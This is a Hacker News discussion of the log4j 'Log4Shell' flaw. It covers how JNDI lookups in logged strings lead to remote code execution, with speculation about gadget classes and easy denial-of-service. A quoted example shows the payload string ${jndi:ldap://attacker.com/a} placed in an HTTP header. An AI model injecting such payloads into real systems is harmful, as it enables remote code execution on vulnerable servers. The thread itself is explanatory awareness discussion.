Hacker Newsnew | past | comments | ask | show | jobs | submitlogin

According to https://www.lunasec.io/docs/blog/log4j-zero-day/ if you have this type of code where you log an attacker-specified string (in this case, the X-Api-Version header) then the vulnerability is triggered:

    String apiVersion = he.getRequestHeader("X-Api-Version");

    // This line triggers the RCE by logging the attacker-controlled HTTP header.
    // The attacker can set their X-Api-Version header to: ${jndi:ldap://attacker.com/a}
    log.info("Requested Api Version:{}", apiVersion);
But what is the bug in log4j that caused the vulnerability?

Anyone have a link to the relevant log4j code?



Author here. It's not actually a "bug", per se. It's actually a (very misguided) feature!

Here it is in the docs: https://logging.apache.org/log4j/2.x/manual/lookups.html#Jnd...

> By default the JDNI Lookup only supports the java, ldap, and ldaps protocols or no protocol.

So that's where the LDAP portion comes from.

This would be perfectly fine if it could only be configured via code or some config file, but the problem is that log4j will interpolate _any_ string looking for `${jndi:foo}` regardless of who put it there. So... when an attacker can insert a JNDI lookup to an arbitrary server... you can see where this is going.

Specifically: JNDI lets you load code, also. And that's how the RCE for this works. (The BlackHat talk in the blog post you linked has more details)

Does that help?


I've really enjoyed your comments on this page, your blog, and the sample code you're pointing people at.

This feels so much like a 90's java/flash bug, it's kind of hilarious and awesome.

I think there are 2 key things (As I understand them, and I'm just some random guy, don't trust my armchair analysis)

1. The evil ldap server does not send bytecode to execute. It sends instructions about a class to create, and how to configure it. That class needs to be on the server already. One hard problem might be a hash map with initial size of 2^64 -1, which will throw an OOM, which is hard to deal with, and most people don't bother. another might be awt Window or JFrame, so your server process is trying to load up all of X, which probably isn't installed and will generate a lot of weird errors or crash, unless you've had to be pretty wiley to get around or deal with those in the past. There may be a default RCE out there. I don't see an obvious way to make ProcessBuilder do anything too scary, but the std library is huge. There certainly could be something. I haven't really thought through InvocationHandler, but it seems like it has potential.

2. JNDI support for LDAP comes with java, but JNDI is sorta like JDBC, you can plug in whatever random directory service you want. I do not know, but I suspect there are bindings for CORBA or lotus Domino or ActiveDirectory or COM+ or whatever random, crazy, 20 year old binary is still laying around out there.

Actually, I have a third tangential thing. This chain of vectors makes me worry about XML processing and what common libraries do with .xsl, .wsdl, .uddi, and whatever other crazy thing seemed like a good idea back in the day that has been faithfully preserved because change is hard and scary.

In any case, great write ups. I've enjoyed them.


* That class needs to be on the server already.

The problem is lots of frameworks come with some pretty vulnerable classes. There are lists of 'serialization gadgets' for some potentially exploitable things if you can trigger a JVM to deserialize untrusted input.


OH Yes!

100% this. The JVM itself is a huge, sprawling beast. Adding in an extra 1000 libraries makes that surface area 1000 times worse. There is probably a way to exfiltrate a list of loaded classes via the exploit. (I can't think of one, but I believe there's a good chance such a thing exists). You could also just try looking for one of the zillion known bad classes.

I wanted to highlight that you're really looking at a multi stage attack for RCE. DOS is trivial. Use all the memory, Make a zillion threads, force load libraries that don't exist. I'm only vaguely competent, and I'm pretty sure I can make that happen in half an hour. A full RCE is less, somehow. I can't quite express the difference in risk. As a half assed attempt, I could show a 14 year old how to take down a server in an hour or two, and as I said, I'm only vaguely competent. If you're looking for a full RCE, that would take me time. But over a week or two, I could probably figure it out and be able to explain it.

URL class loader seems like a promising vector. jars have static initializers as part of the manifest, I think I could put that together, eventually. And I suck. The risk is still huge. But like, bob's java shop isn't a target for the equation group. They probably have a day or two to figure it out and fix RCE issues. DOS issues, they're fucked. That's trivial.


Reading this thread gives me energy to keep working on these posts. It's a massive PITA reading through enterprise Java code to be able to accurately explain this Log4j exploit stuff. It makes me happy that y'all are able to have a conversation on the internet because of it and share your ideas about how to exploit it all for RCE!

I feel like with security stuff, awareness is 95% if the battle. So if people get excited and start thinking about how they'd implement a prototype themselves... that's pretty great. It gives me hope that perhaps this world of dependency hell that we're in right now might eventually go away.

I'm definitely a bit of an idealistic person as a dev. Maybe an optimist is the better word? I just want to try to fix these problems and hope that my contributions help. Sometimes it's brutal and exhaust and... this week has been an epic grind.

But that's what it takes to make a difference sometimes, and I'm glad y'all are appreciating the effort. Thanks for the kind words.


Exactly. eg. https://github.com/frohoff/ysoserial#usage

Note the classes aren't at fault or doing anything wrong (even though you could imagine other mitigations they could use), they are just conveniently there to use if you have a vulnerability that lets you de-serialize untrusted data.


> That class needs to be on the server already

If you are talking about original log4shell then no! Jndi will grab a class definition from ldap, load it and then deserialize it.


Agreed, not being snarky, but isn't that what the "R" is in the (R)emote (C)ode (E)xecution is - The ability to trigger arbitrary code execution over a network (especially via a wide-area network such as the Internet)

https://en.wikipedia.org/wiki/Arbitrary_code_execution

The attacker can inject an LDAP URL with their own malicious code into a vulnerable website, via a request, that then is logged with logj4. The logging library if vulnerable will actually download and execute this remote malicious code, just by the attacker submitting the bad input. Obviously the vulnerable website needs to be logging this request information.




Consider applying for YC's Summer 2026 batch! Applications are open till May 4

Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: